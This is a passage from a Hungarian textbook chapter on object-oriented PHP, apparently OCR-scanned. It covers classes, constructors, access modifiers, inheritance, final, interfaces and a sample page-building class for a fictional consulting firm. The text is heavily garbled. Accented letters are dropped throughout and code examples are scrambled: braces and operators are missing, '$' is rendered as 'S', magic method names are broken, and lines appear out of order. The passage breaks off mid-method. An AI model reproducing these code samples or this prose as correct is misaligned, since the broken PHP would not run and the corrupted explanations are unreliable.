Ahhoz, hogy hasznlhat legyen, az osztlynak attribtumokra s metdusokra van szksge. Attribtumokat gy hozha runk ltre, hogy az osztlydefincin bell a lthatsguknak megfelel kulcsszavakkal (public, private vagy protected ) vltozkat deklarlunk. Ezt a fejezet ksbbi rszben rszletesen ttekingk. A kvetkez kd az osztalynev nev osz tlyt hozza ltre kt attribtummal- $attributuml s $attributum2:
class osztalynev

public $attributuml; public $attributum2;

Metdusokat gy hozhatunk ltre, hogy az osztlydefincin bell fggvnyeket deklarlunk. Az albbi kddal egy
osztalynev nev, kt metdust tartalmaz osztlyt hozunk ltre, amelynek metdusai semmit nem csinlnak.

A metodusl() nem vr paramtert, a metodus2 () viszont kettt is:


class osztalynev

fu nction metodusl()

function metodus2($paraml,

$param2)

Konstruktorok
A legtbb osztly rendelkezik egy klnleges tpus metdussal, amelynek neve konstruktor (ltrehoz fggvny). Konstruktort hvunk meg az osztly objektumainak ltrehozsra, s a konsttuktor ltalban elvgzi az olyan hasznos inicializlsi feladatokat, mint pldul az attribrumok megfelel kiindul rtkre lltsa vagy az objektum ltal megkvetelt egyb objektumok ltrehozsa. A konstruktort ugyangy deklarljuk, mint brmelyik msik metdust, m klnleges neve van:_const ruct ().Br a konstruktort sajt kezleg is meghvhaguk, f clja, hogy objektum ltrehozsakor automatikusan meghvcljk. A kvetkez kd konstruktorral br osztlyt deklarl:
class osztalynev

function

con struct($param)

11O

6. fejezet

echo "A konstruktort meghvtuk az albbi paramterrel:

".$param."<br />";

A fggvnyek tbbszrs definilsa (function overloading) azt jelenti, hogy egynl tbb ugyanolyan nev s klnbz szm vagy tpus paramterrel rendelkez fggvnyt megadhatunk. (Ezt a funkcit sok objektumorientlt nyelv tmogatja, a PHP azonban nem.) A fejezet egy ksbbi rszben mg lesz sz errl.

Destruktorok
A konstruktor ellentte a destruktor. Lehetv teszi, hogy bizonyos funkcik vgbemenjenek kzvetlenl egy osztly megsem mistse eltt, ami automatikusan bekvetkezik, amikor egy osztlyra mutat sszes hivatkozst megszntetnk, vagy azok kiesnek a hatkrbL A konstruktorok elnevezshez hasonlan kell a destruktorokat is elnevezni:_ destruct (). Paramterk nem lehet.

Osztlypldnyok ltrehozsa
Az osztly deklarlsa utn objektumot - az osztly egy konkrt tagjt - kell ltrehozni ahhoz, hogy dolgozhassunk vele. Ezt osztlypldny ltrehozsnak nevezik. Objektumot a new kulcsszval lehet ltrehozni. Amikor ezt tesszk, meg kell hatroz nunk, hogy az objektum melyik osztly pldnya lesz, illetve meg kell adnunk a konstruktor ltal vrt paramtereket. A kvetkez kd az osztalynev nev, konstruktorral rendelkez osztlyt deklarlja, majd ltrehoz hrom osztalynev tpus objektumot:
class osztalynev function echo construct($param) ".$param."<br />";

"A konstruktort meghvtuk az albbi paramterrel:

Sa $b Sc

new osztalynev("Els6"); new osztalynev("Msodik"); new osztalynev(); Els6

Mivel a konstruktor minden objektumltrehozskor meghvdik, a fenti kd a kvetkez kimenetet lltja el:

A konstruktort meghvtuk az albbi paramterrel: A konstruktort meghvtuk az albbi paramterrel:

A konstruktort meghvtuk az albbi paramterrel: Msodik

Osztlyattribtumok hasznlata
Az osztlyokon bell egy $this nev, klnleges mutatval rendelkeznk. Ha aktulis osztlyunk valamely attribturnt
$tulajdonsag-nak nevezik, akkor e vltoz belltsakor vagy az osztlyon belli mveletbl val elrsekor a Sthis->tulajdonsag formban hivatkozhatunk r.

A kvetkez kd egy osztlyon belli vltoz belltst s elrst mutatja be:


class osztalynev public Stulajdonsag; function metodus($param) Sthis->tulajdonsag $param

echo Sthis->tulajdonsag;

Hogy egy attribtumot az osztlyon kvlrl is elrhetnk-e, azt a - fejezet egy ksbbi rszben rszletesen bemutatand - hozzfrs-mdostk hatrozzk meg. A pldban nincsen korltozva az attribtumokhoz val hozzfrs, gy a kvetkez kppen az osztlyon kvlrl is elrhetjk ket:

Objektumorientlt PHP

lll

class osztalynev public $tulajdonsag; $a = new osztalynev(); $a->tulajdonsag = "ertek"; echo $a->tulajdonsag; ltalban nem clszer a tulajdonsgokhoz osztlyon kvlrl kzvetlenl hozzfrni. Az objektumorientlt megkzelts egyik elnye, hogy kiknyszerti a zrtsg elvnek betartst. Ezt a_get s a_set fggvny hasznlatval rhetjk el. Ha egy osztly attribtumainak kzvetlen elrse helyett elr fggvnyeket (accessor function) runk, a hozzfrseket egyetlen kdrszen keresztl biztosthatjuk. Amikor elszr megrjuk elr fggvnyeinket, azok a kvetkezkppen nzhetnek ki: class osztalynev public $tulajdonsag; function get($nev)

return $this->$nev; function set ($nev, $ertek; $ertek)

$this->$nev

A fenti kd egyszer fggvnyeket ad a $tulajdonsag nev attribtum elrsre. A_get() nev fggvny egyszeren a $tulajdonsag rtkt aclja vissza, a_set() pedig j rtket rendel a $tulajdonsag-hoz. Figyeljk meg. hogy a_get() egy paramtert fogad- az attribtum nevt-, s az attribtum rtkvel tr vissza! A_set() fggvny ugyanakkor kt paramtert vr: az attribtum nevt s az rtket, amit rendelni kvnunk hozz. Ezeket a fggvnyeket nem kzvetlenl hvjuk meg. A nevk eltti dupla alulvons jelzi, hogy- a_ construct()s a_ destruct () fggvnyhez hasonlan- klnleges jelentssei brnak PHP-ben. De akkor hogyan mkdnekr Ha ltrehozzuk az osztly egy pldnyt: $a = new osztalynev(); a_get() s a_set() fggvnnyel ellenrizhetjk, illetve bellthatjuk artribtumai rtkr. Ha berjuk a kvetkezket: $a->$tulajdonsag = 5;
ez

6
'

a kifejezs tttelesen meghhja a_set() fggvnyt, a $nev-et.,tulajdonsagra"-ra, az $ertek rtkt pedig 5-re A _get() fggvny hasonlan mkdik. Kdunkban az albbi kifejezs: $a->tulajdonsag

lltva. A kivnt hibaellenrzshez meg kell rnunk a_set() fggvnyt.

tttelesen meghvja a_get() fggvnyt, annak $nev paramterr.,tulajdonsag"-ra lltva. A mi dolgunk megrni a_get() fggvnyt gy, hogy visszatrjen az rtkkel. Els rnzsre ez a kd nem sok rtkkel br szmunkra. Jelenlegi formjban ez taln igaz is, de az elr fggvnyek ltre hozsnak egyszer oka van: hasznlatukkor egyetlen kdrszlet van, ami az adott attribtumhoz hozzfr. Egyeden hozzfrsi pont esetn rvnyessg ellenrzsek megvalstsval megbizonyosodhatunk arrl, hogy rtelmes adatot trolunk. Ha ksbb esznkbe jut, hogy a $tulajdonsag rtke csak O s 100 kztt lehet, csak egyszer kell nhny
sort

hozzadni s ellenrizni, mieltt engedlyeznnk a vltoztatsokat. A_set () fggvnyt kellene a kvetkezkppen set ($nev, $ertek)
&&

mdostani: function

if ( ($nev="tulajdonsag")

($ertek >= 0)

&&

($ertek <= 100)

$this->tulajdonsag = $ertek; Egyeden hozzfrsi ponton meg tudjuk vltoztaeni a mgttes megvalstst. Ha brmilyen okbl gy dntnk, hogy megvltoztatjuk a $tula jdonsag trolsi mdjt, a hozzfrsi fggvnyek lehetv teszik ezt, s csak egyetlen helyen kell kdunkat mdostani.

112

6. fejezer

Dnehetnk gy,hogy a $tulajdonsag vltozknt trtn trolsa helyett adarbzisbl keressk vissza akkor, amikor szksgnk van r,kiszmrjuk akrulis rtkr minden egyes alkalommal, amikor szksgnk van r, ms attribrumok rtkeibl szrmaztatjuk az rtkr,vagy kisebb adattpusknt kdoljuk az adatot. Akrmilyen vltoztats mellett dnrnk, egyszeren mdosthatjuk az elr fggvnyeket. A kd tbbi rszr ez nem rinti,feltve persze,hogy a ler fggvnyeket gy vltoztatjuk, hogy a program tbbi rsze ltal elvrt mdon rik el vagy adjk vissza az adatokat.

Hozzfrs#szablyozs p r i v a t e s p ub l i c kulcsszval
A PHP hozzfrs-mdosrkar hasznl. Ezeket az attribrum- s metdusdeklarcik el rva szablyozzk az attribrumok s metdusok lthatsgt. A PHP a kvetkez hrom hozzfrs-mdostt tmogatja: Az alaprtelmezett opci a public (nyilvnos),ami azt jelenti,hogy ha nem harrozunk meg hozzfrs-mdosrt egy attribrumhoz vagy metdushoz, akkor az public lesz. A public hozzfrs-mdostval rendelkez elemek osztlyon bell rl s kvlrl is elrhetk. A private (bels) hozzfrs-mdost azt jelenti, hogy az adott elem csak az osztlyon bellrl rhet el. Ha nem hasz nlunk _get() s_set ( ) fggvnyt, akkor minden attribrumra alkalmazhatjuk. Dnthernk gy is, hogy egyes met dusokat priva te mdostval lrunk el, ha azok csak az osztlyon bell hasznland segdfggvnyek. Ezek az elemek nem rkldnek (a fejezet egy ksbbi rszben erre mg rszletesebben visszatrnk). A protected (vdett) hozzfrs-mdost azt eredmnyezi, hogy az ltala megjellt elem csak az osztlyon bellrl r het el. Alosztlyokban is lrezik (ehhez is visszatrnk majd a fejezer ksbbi, az rkldssei foglalkoz rszben). Egyelre gy kpzeljk el a protected mdostt, minr ami a private s a public kzrt flron helyezkedik el! Az albbi pldakd a public hozzfrs-mdost hasznlatt muratja be:
class osztalynev

public $tulajdonsag; public function _get($nev)

return $this->$nev;

public function

set ($nev,

$ertek)

$this->$nev = $ertek;

Ebben minden osztlyrag hozzfrs-mdostval van ellrva,jelezvn, hogy bels vagy nyilvnos. A public kulcssz elhagyhat, mert ez az alaprtelmezett lehetsg,m hasznlata egyb mdostk alkalmazsa esetn knnyebben olvashatv teszi a kdot.

Osztlymetdusok hvsa
Az osztlymetdusokat az oszrlyattribrumok hvshoz igen hasonl mdon hvhatjuk meg. Tegyk fel, hogy van egy ilyen osztlyunk:
class osztalynev

function metodusl()

function metodus2($paraml,

$param2)

s az albbiakkal ltrehozunk egy osztalynev rpus,$a nev objekrumot:


$a = new osztalynev();

Ezt kveten ugyangy hvhatjuk meg a metdusokat, mint brmilyen ms fggvnyeket: nevkkel, illetve az ltalunk el vrt fggvnyeket zrjelbe helyezve. Mivel ezek a mveletek a hagyomnyos fggvnyeknl jobban kapcsoldnak egy adott

Objektumorientlt PHP

113

objektumhoz, meg kell hatroznunk, hogy melyik objektumhoz tartoznak. Az objektum nevt ugyangy hasznljuk, mint egy objektumattribtumot, pldul gy:
$a->metodus1(); $a->metodus2(12, "teszt");

Amennyiben a mveleteknek van visszatrsi rtke, a kvetkezkppen kaphatjuk el ezeket az adatokat:


$x = $a->metodus1(); Sy= $a->metodus2(12, "teszt");

rklds megvalstsa PHPben


Amennyiben az osztlyt egy msik alosztlyv kvnjuk tenni, az extends kulcssz segtsgvel rhetjk ezt el. A kvetkez kd egy B nev osztlyt hoz ltre, amely egy korbban definilt, A nev osztlybl szrmazik:
class B extends

public

$attributum2;

function metodus2()

Amennyiben az A osztlyt a kvetkezkppen deklarltuk:


class

public $attributum1; function metodus1()

akkor az albbi, egy


$b = new

tpus objektum metdusaihoz s attribtumaihoz val hozzfrsek mind rvnyesek lennnek:

B();

$b->metodus1(); $b->attributum1 = 10; $b->metodus2(); $b->attributum2


=

10;

Ne feledjk, hogy mivel a B osztlyt az A-bl szrmaztattuk, annak ellenre hivatkozhatunk metodusl () metdusra s
$attributum1

attribtumra, hogy ezeket az A osztlyban deklarltuk- minthogy az A alosztlya, a

ugyanazokkal a funk

cikkal s adatokkal rendelkezik! Ezeken tlmenen a B osztlyhoz egy sajt tulajdonsgot s egy sajt metdust is deklarl runk. Fontos megemlteni, hogy az rklds csak egy irnyba mkdik. Az alosztly, ms nven gyerek rkli a szl vagy az alaposztly funkciit, de a szl nem rkli a gyerekit. Ebbl az kvetkezik, hogy az albbi kd utols kt sora hibs:
$a = new

A();

Sa->metodusl (); $a->attributum1 = 10; $a->metodus2(); $a->attributum2 = 10;

Az A osztlynak nincsen sem metodus2 () metdusa, sem attributum2 tulajdonsga.

Lthatsg szablyozsa rklds esetn a p r i v a t e s a p r o t e c t e d kulcsszval


A pri vat e s a protected kulcsszval szablyozhatj uk, hogy mi rkldik. Az olyan attribtum vagy metdus, amelyhez
private

mdost lett rendelve, nem fog rkldni. A vdett (protected) attribtumok s metdusok az osztlyon kvl nem

lesznek lthatk (akrcsak a pr i va te elemek), de rk/dnek. Tekintsk t az albbi pldt:


<?php class

114

6. fejezet

private function metodusl()

echo "metodusl meghvva";

protected function metodus2()

echo "metodus2 meghvva";

public function metodus3()

echo "metodus3 meghvva";

class

B extends A
construct()

function

$this->metodusl(); $this->metodus2(); $this->metodus3();

$b ?>

new

B;

A fenti kd hromfle mveletet hoz ltre az A osztlyban: public, protected s private, azaz nyilvnos, vdett s bels tpust. A B az A-bl rkldik. A B konstruktorban megprbljuk a mveleteket a szlbl meghvni. Az albbi sor:
$this->metodusl();

vgzetes hibt eredmnyez:

Fatal error: Call to (Vgzetes hiba: Az A:

private method

A: :metodusl ()from context 'B' 'B' osztlybl)

:metodusl () private metdus meghvsa a

A plda azt szemllteti, hogy a bels metdusokat gyerekosztlybl nem lehet meghvni. Ha megjegyzsknt kiemeljk ezt a sort, a msik kt fggvnyhvs mkdni fog. A protected fggvny rkldik, m csak a gyermekosztlyon bellrl hasznlhat, ahogy azt a pldban is tettk. Ha megksreljk a fjl vghez az albbi sort hozzadni:
$b->metodus2();

a kvetkez hibazenetet kapjuk:

Fatal error: Call to protected method A::metodus2 () from context (vgzetes hiba: Az A: :metodusl () protected metdus meghvsa a 'B'
A metodus3 () metdust azonban az osztlyon kvlrl meghvhatjuk:
$b->muvelet3();

'B'

osztlybl)

A fenti fggvnyhvs azrt lehetsges, mert a mveletet nyilvnosknt deklarltuk.

Fellrs
A fejezetben lttunk mr olyan alosztlyt, amely j attribtumokat s metdusokat deklarlt. Ugyanazokat az attribtumokat s metdusokat lehetsges s esetenknt hasznos is jradeklarlni. gy az alosztly adott attribtumaihoz az alaposztlyban lv ugyanezen attribtumok alaprtelmezett rtktl eltr rtkeket rendelhetnk, vagy az alosztly metdusainak az alap osztly megfelel metdusaitl eltr funkcionalitst adhatunk. Ezt az eljrst Jellrsnak ( overriding) nevezik. Tegyk fel plduL hogy van egy A osztlyunk:
class

A
$tulajdonsag "alaprtelmezett rtk";

public

Objektumorientlt PHP

115

function metodus() echo "Valami<br />"; echo "A \$tulajdonsag rtke: " $this->tulajdonsag."<br />";

Amennyiben szeretnnk megvltoztaeni a $tulajdonsag rtkt s j funkeit adni a metodus () metdusnak, a kvet kez B osztlyt hozhatjuk ltre, amely fellrja a $tulajdonsag attribtumot s a metodus() metdust:
class B extends A publ i c $tulajdonsag function metodus() echo "Valami ms<br />"; echo " A \$tulajdonsag rtke: " $this->tulajdonsag."<br />"; "ms rtk";

A B deklarlsa nincs hatssal az A eredeti delincijra. Tanulmnyozzuk most az albbi kt kdsort:


Sa
=

new A();

$a -> metodus();

E sorok egy A tpus objektumot hoznak ltre, s meghvjk metodus ( ) fggvnyt. Ennek kimenete:
Valami
A

$tulajdonsag rtke: alaprtelmezett rtk

bizonytja, hogy B ltrehozsa nem vltoztatta meg A-t. Amennyiben ltrehozunk egy B tpus objektumot, ms vgeredmny hez jurunk. Ennek a kdnak:
$b
=

new B();

$b -> metodus(); a kimenete: Valami ms


A

Stulajdonsag rtke: ms rtk

l"

Mikppen egy alosztlyban ltrehozott j attribtum vagy metdus nem rinti az alaposztlyt, az attribrumok vagy met dusok alaposztlybeli fellrsa sincsen r hatssal. Egy alosztly alaposztlya minden amibrurnt s metdust rkli, kivve, ha lecserljk azokat. Ha csert definilunk, az elsbbsget lvez, s fellrja az eredeti defincit. A parent kulcssz lehetv teszi, hogy a metdusnak a szlosztlyban lv eredeti vltozatt hvjuk meg. Pldul az
A:

:metodus B osztlyon bellrl val meghvshoz az albbi kdot hasznlnnk:

parent: :metodus();

Az gy elllt kimenet azonban eltr. Br a szlosztlybl hvjuk meg a metdust, a PHP az aktulis osztly tulajdonsg rtkeit hasznlja. Ezrt az albbi kimenetet kapjuk:
Valami
A

$tulajdonsag rtke: ms rtk

Az rklds tbb rteg mlysg lehet. Deklarlharunk egy C nev, a B-bl szrmaztatott osztlyt, amely gy a B osztly s az szlje, az A osztly funkciit, metdusait rkli. A C osztlyban megint eldnthetjk, hogy a szlk mely attribtu
mait s metdusait kvnjuk fellrni s lecserlni.

rklds s fellrs megakadlyozsa a final kulcsszval


Rendelkezsnkre ll a PHP-ben a final kulcssz is. Amikor fggvnydeklarls el helyezzk, a fggvny egyeden alosztly ban sem rhat fell. A kvetkezkppen adhatjuk az elz pldban szerepl A osztlyhoz:
class A publ ic $tulajdonsa g "alaprtelmezett rtk";

final function metodus()

116

6. fejezet

echo "Valami<br

/>"; " $this->tulajdonsag."<br />";

echo "A \$tulajdonsag rtke:

Ezzel a megkzeltssel elkerlhet a me tod us () mvelet hibazenetet kapjuk:


Fatal error:

osztlybeli fellrsa. Ha megksreljk a fellrst, az albbi

Cannot override final method A::metodus() Az A::metodus () final metdus nem fellrhat)

(Vgzetes hiba:

A final kulcssz hasznlatval azt is megakadlyozhatjuk, hogy egy osztlybl alosztlyokat szrmaztassanak. A kvetke zkppen teheljk ezt meg:
final class A

{ .. . l

Ha ezt kveten megprblunk az A osztlybl rkteni, a kvetkezhz hasonl hibazenetet kapunk:


Fatal error:
Class B may not inherit from final class (A)

(Vgzetes hiba:

A B osztly nem rkthet final osztlybl (A))

A tbbszrs rklds
Nhny objektumorientlt programozsi nyelv (mindenekeltt a C++ s a Smalltalk) tmogatja a tbbszrs rkldst, de a PHP - a tbbsggel egyetemben - nem. Ez azt jelenti, hogy nnden osztly csak egyeden szltl szrmaztathat. Arra vonatkozan viszont nincsen korltozs, hogy egy szl hny gyerekosztllyai rendelkezhet. Ez gy elsre taln nem teljesen vilgos, de a 6.1 bra az A, B s C nev osztly rkldsnek hrom lehetsges mdjt mutatva segt tisztv tenni a kpet.

Egyszeres rklds

Tbbszrs rkld s

Egyszeres rklds

6.1 bra: A PHP

nem tmogatja a tbbszrs rkldst.

A bal oldali kombinciban a C osztly a A kzps kombinciban a


B

osztlybl szrmazik, amely viszont az A osztlybl rkldik. Mindegyik osz

tly legfeljebb egy szlvel rendelkezik, gy ez egy PHP-ben teljesen szablyos, egyszeres rklds. s C osztly az A osztlybl rkldik. Mindegyik osztly legfeljebb egy szlvel rendelke
B

zik, gy ez szablyos, egyszeres rklds. A jobboldalt lv kombinciban a C osztly az A s osztlybl rkldik. Ebben az esetben a C osztly kt szlvel br, vagyis tbbszrs rkldssei llunk szemben, ami PHP-ben nem rvnyes.

Interfszek megvalstsa
Amennyiben tbbszrs rklds pldnyaiban ltott funkcionalitst kell megvalstanunk (kifejtennk) PHP-ben, hasonlan a tbbi objektumorientlt nyelv, kztk a Java ltal tmogatott interfszmegoldshoz. Az interfsz alapgondolata az, hogy az interfszt alkot osztlyokban megvalstand metdusok halmazr hozzuk ltre. Pldul gy dntnk, hogy olyan osztlyok csoporgt hozzuk ltre, amelyeknek kpeseknek kell lennik nmaguk megjelen tsre. Ahelyett, hogy ltrehoznnk egy megjelenites() fggvnnyel rendelkez alaposztlyc, amelybl az osztlyok rk ldnek, s fellrjk az rkltt elemeket, a kvetkezkppen valsthaljuk meg az interfszt:

interf

szeken (interface) keresztl tehetjk ezt meg. Az interfszekre a tbbszrs rklds thidal megoldsaknt tekinthetnk,

Objektumorientlt PHP

117

interface Megjelenitheto

function megjelenites();

class webOldal implements Megjelenitheto

{
function megjelenites()

ll

Ez a plda jl szernllteti egy, a tbbszrs rklds hinyt thidal megoldst, hiszen a webOldal osztly rklhet egy osztlybl, s megvalsthat egy vagy tbb interfszt. Ha nem fejtjk ki az interfszben meghatrozott metdusokat ( jelen esetben a Megjelenites ()-t), vgzetes hiba kvet kezik be.

Osztlytervezs
Most, hogy mr tisztba kerltnk
az

objektumok s osztlyok mgtti fogalmak nmelyikvel, illetve a PHP-beli megvals

tsukhoz szksges szintaktikval, rdemes megvizsglni, hogyan lehet hasznlhat osztlyokat tervezni. Kdunk szmos osztlya a vals vilg objektumainak osztlyait vagy kategriit fogja jelkpezni. A webfejleszts sorn hasznlt osztlyok kz weblapok, kezelfelleti komponensek, online bevsrlkosarak, hibakezels, termkkategrik vagy vsrlk tartozhatnak. A kdban szerepl objektumok az elbb emltett osztlyok konkrt pldnyait jelkpezik majd - pldul a nyitoldalt, egy
adott gombot vagy
az

adott idpontban Kovcs Jnos bevsrlkosart. Kovcs urat pedig egy vasa rlo tpus objektum jelk

pezheti. A Jnos ltal megvsrolt minden cikket egy-egy objektum jelkpez, amelyek valamely kategriba vagy osztlyba tartoz nak. Az elz fejezetben egyszer fjlbeillesztssei rtk el a kpzeletbeli TLA Consuiting cg honlapjnak egysges megjelen st. Osztlyokkal s a szmunkra rengeteg idt megtakartani kpes rkldssei ugyanennek a honlapnak fejlettebb vltozatt is el tudjuk lltani. Clunk most
az,

hogy gyorsan tudjunk ugyangy kinz s mkd oldalakat ltrehozni a TLA szmra. Kpesnek kell

lennnk arra is, hogy a honlap klnbz tartalmainak megfelelerr tudjuk mdostani ezeket az oldalakat. A plda kedvrt ltrehozunk egy Oldal nev osztlyt. Az osztly elsdleges clja, hogy mrskelje egy j oldal ltrehozshoz szksges HTML kd mennyisgt. Lehetv kell, hogy tegye az oldalrl oldalra vltoz rszek mdostst, mg
a mindenhol egysgesen megjelen elemeket automatikusan kell, hogy ellltsa. Az osztlynak rugalmas keretrendszert kell

l 6

nyjtania j oldalak ltrehozsra - anlkl, hogy az alkots szabadsgt brmiben korltozn. Mivel programbl, nem pedig statikus HTML kdbl generljuk mint pldul:

az

oldalt, olyan intelligens funkcikat is hozzadhatunk,

Oldalelemek egyetlen helyen trtn mdostsnak lehetsge. Azaz, ha trjuk a szerzi jogi nyilatkozatot, vagy mg egy gombot kvnunk az oldalakhoz adni, a vltoztatst csak egyetlen helyen kelljen vgrehajtanunk. Az oldal legtbb rsznek legyen alaprtelmezett tartalma, s szksg esetn brmelyik elemet tudjuk mdostani, lehes sen egyni rtkeket belltani az olyan elemekhez, mint a cm vagy a metaadatok. Az aktulisan megjelentett oldal felismerse s a navigcis elemek ennek megfelel mdostsa (a nyitoldalon nincs rtelme a nyitoldalra mutat gombot elhelyezni). Adott oldalakon az lland elemek lecserlsnek lehetsge. Ha pldul msmilyen navigcis gombokat szetetnnk elhelyezni a honlap egy adott rszn, akkor le tudjuk cserlni az lland elemeket.

Az osztly kdjnak megrsa


Azt mr eldntttk, hogy hogyan nzzen ki kdunk kimenete, s rnilyen funkcikat tudjon, de hogyan valstsuk meg? A knyv ksbbi rszben ttekintjk, hogy nagy projektek esetn hogyan megy a tervezs s a projektmenedzsment. Egyelre sszpontostsuk figyelmnket
az

objektumorientlt PHP-programozsra vonatkoz rszekre!

Az osztlynevet logikusan kell kivlasztanunk. Mivel oldalt jelkpez, nevezzk Oldal-nak. Az Oldal nev osztly deklar lshoz rjuk be a kvetkezket:

118

6. fejezet

class Oldal

Az osztlynak tulajdonsgokra van szksge. Pldnkban az oldalrl oldalra vltoz elemeket fogjuk osztlytulajdonsgok knt belltani. Az oldal f tartalmr, amely HTML cmkk (rag) s szveg kombincijbl pl fel, $tartalom-nak nevez zk. Az albbi kdsort az oszclydelincin bellre rva deklarlhatjuk eze az accribcumot:
public $tartalom;

Az oldal cmc trol accribcumokat is bellthatunk. Eze a cmer minden bizonnyal meg fogjuk vlroztacni, hogy a ltogat lca! megjelentett oldal tartalmt tkrzze. res cmek helyett azonban rdemes az albbi kdsorral alaprtelmezert cmer megadni:
public $eim
=

"TLA Consulting Pty Ltd";

Az zleti cl weboldalak metacmeket (mecatag) tartalmaznak, ezzel segtenek a keresmocoroknak az oldal indexelsben. Ah
hoz, hogy hasznosak legyenek, a mecacmeknek oldalrl oldalra elerknek kell lennik. Itt is megadhacunk alaprtelmezett rtket:
public $kulcsszavak = "TLA Consulting, Hrombets rvidts, a keresoldalak a legjobb bartaink";

Az eredeci oldalt mucac 5.2 brn (lsd az elz fejezetet!) lthat navigl gombokat rninden bizonnyal rdemes rninden oldalon vltozatlanul hagyni, hogy ne zavarjuk ssze a felhasznlt, m az egyszer vltozcachacsguk rdekben hozzunk ltre ezekbl is egy tulajdonsgot! Mivel a gombok szma vltozhat, hasznljunk tmbt, s troljuk el a gomb szvegt meg az URL-c, arnire mutacnia kell:
public $gombok = array ( "Kezdlap" => "kezdelap.php", "Kapcsolat" => "kapcsolat.php", "Szolgltatsok" => "szolgaltatasok.php", "Oldaltrkp" => "terkep.php" );

Hogy mkdni tudjon, az osztlynak mecdusokra is szksge van. Kezdskppen adjuk meg az imnt definilt tulajdons gok rtkeinek belltshoz s leolvasshoz az elr fggvnyeket:
public function set($nev, $ertek)

$this->$nev = $ertek;

A _set () fggvny-

az

egyszersg kedvrt- nem tartalmaz hibaellenrzs c, m ez a funkci szksg esecn ksbb

egyszeren hozzadhat. Mivel nem valszn, hogy ezen rtkek brmelyikt az osztlyon kvlrl meg fogjuk krni, dnthe

rnk gy, hogy- rnint ahogy itt is tettk- a _get () fggvnye nem adjuk meg. Az osztly elsdleges clja HTML oldal megjelencse, ehhez fggvnyre van szksg. Fggvnynk, amelynek a Megjelenites() nevet adtuk, a kvetkezkppen nz ki:
public function Megjelenites() echo "<html>\n<head>\n"; $this -> MegjelenitesCim(); $this -> MegjelenitesKulcsszavak(); $this -> MegjelenitesStilusok(); echo "</head>\n<body>\n"; $this -> MegjelenitesFejlec(); $this -> MegjelenitesMenu($this->gombok); echo $this->tartalom; $this -> MegjelenitesLablec(); echo "</body>\n</html>\n";}

A fggvny nhny egyszer echo utastssal jelenti meg a HTML-c, de elsdlegesen az osztly ms fggvnyeinek meg hvsaibl ll. Ahogy nevkbl gondolhatjuk, ezek a fggvnyek az oldal rszeit jelentik meg. A fggvnyek ilyern felbontsa nem szksgszer. Ezeket a klnll fggvnyeket egyszeren egy nagy fggvnybe is egyesthecrk volna. Srnos okunk volt azonban elklntskre. Minden egyes fggvny jl krlhatrole feladacoe kell, hogy ellsson. Minl egyszerbb a feladat, annl knnyebb lesz meg rni s tesztelni a fggvnye. Azonban ne essnk t a l msik oldalra sem! Ha tlsgosan apr egysgekre bontjuk fel a prog ramot, nehezen olvashat lesz.

Objektumorientlt PHP

119

rklds alkalmazsval fellrhatjuk a metdusokat. Lecserlhetnk ugyan egy nagy Megjelenites () fggvnyt, de nem valszn, hogy szeremnk az egsz oldal megjelentsi mdjt megvltoztatni. rdemesebb a megjelentsi funkeit n hny klnll feladatra felbontani, hogy kpesek legynk kizrlag a vltoztaeni kivnt rszeket fellrni. A Megjelenites() fggvny a MegjelenitesCm(),MegjelenitesKulcsszavak(},
MegjelenitesStlusok(},MegjelenitesFej lee (),MegjelenitesMenu () s MegjelenitesLablec() fgg

vnyt hvja meg. Ez

azt

jelenti, hogy definilnunk kell ezeket a metdusokar. A merdusokar vagy fggvnyeker ebben a logikai

sorrendben is rhatjuk, vagyis meghvsuk a fggvny tnyleges kdja eltt is megrrrnhet. Sok ms nyelvben a fggvnyeker vagy metdusokat elre meg kell rni ahhoz, hogy meghvhassuk ket. A metdusok tbbsge nagyon egyszer, nmi HTML-t, illetve esetenknt a tulajdonsgok rarralmr kell, hogy megjelenrsk. A 6.1 pldakd az oldal.inc.php nven elmentett s ezltal f:ijlknt beilleszthet, teljes osztlykdot mutatja. 6.1 pldakd: oldal. inc. php -A Page osztly a TLA weboldalainak egyszer s rugalmas ltrehozst teszi lehetv
<?php class Oldal

ll az Oldal osztly tulajdonsgai


public $tartalom; public $eim = "TLA Consulting Pty Ltd"; public $ kulcsszavak = "TLA Consulting, Hrombets rvidts,

a keresoldalak a legjobb bartaink"; public $ gombok = array( "Kezdlap" => "kezdalap. php", "Kapcsolat" => "kapcsolat.php", "Szolgltatsok" => "szolgaltatasok.php", "Oldaltrkp" => "terkep.php" );

ll az Oldal osztly metdusai


public function
__

set($ nev,

$ertek)

$this->$nev = $ertek;

public function Megjelenites()

echo "<html>\n<head>\n"; $this -> MegjelenitesCim(); $this -> MegjelenitesKulcsszavak(}; $this -> MegjelenitesStilusok(); echo "<lhead>\n<body>\n"; $this -> MegjelenitesFejlec(); $this -> MegjelenitesMenu($this->gombok); echo $this->tartalom; $this -> MegjelenitesLablec(); echo "<lbody>\n<lhtml>\n";

public function MegjelenitesCim()

{
echo "<title>".$this->cim."<ltitle>";

public function MegjelenitesKulcsszavak()

120

6.

fejezet

echo "<meta name=\"keywords\" content=\"".$this->kulcsszavak."\"/>";

public function MegjelenitesStilusok()

?> <style> hl color:white; font-size:24pt; text-align:center;

font-family:arial,sans-serif

.menu

{
font-size:l2pt; text-align:center; font-weight:bold

color:white;

font-family:arial,sans-serif;

td background:black

p color:black; font-size:l2pt; text-align:justify;

font-family:arial,sans-serif

p.foot

{
font-size:9pt; text-align:center; font-weight:bold

color:white;

font-family:arial,sans-serif;

a:link,a:visited,a:active color:white

</style> <?php

l
public function MegjelenitesFejlec()

?> <table width="lOO%" cellpadding="l2" cellspacing="O" border="O"> <tr bgcolor ="black"> <td align ="left"><img src = "logo.gif" /></td> <td> <hl>TLA Consulting <ltd> <td align ="right"><img src = </tr> </table> <?php "logo.gif" /></td> Pty Ltd</hl>

l
public function MegjelenitesGombok($gombok)

echo "<table width=\"100%\" bgcolor=\"white\" cellpadding=\"4\" cellspacing=\"4\">\n"; echo "<tr>\n";

Objektumorientlt PHP

121

//gombrnretek kiszmtsa $szelesseg = 100/count($gombok);

while (list($nev,

$url) = each($gombok)) $nev, $url,

$this -> MegjelenitesGomb($szelesseg,

!$this->IsURLCurrentPage($url));

echo "</tr>\n"; echo "</table>\n";

public function IsURLCurrentPage($url)

if(strpos($_SERVER['PHP_SELF'],

$url )==false)

{
return false;

else

return true;

public function MegjelenitesGomb($szelesseg,$nev,$url,$active true)

if ($active)

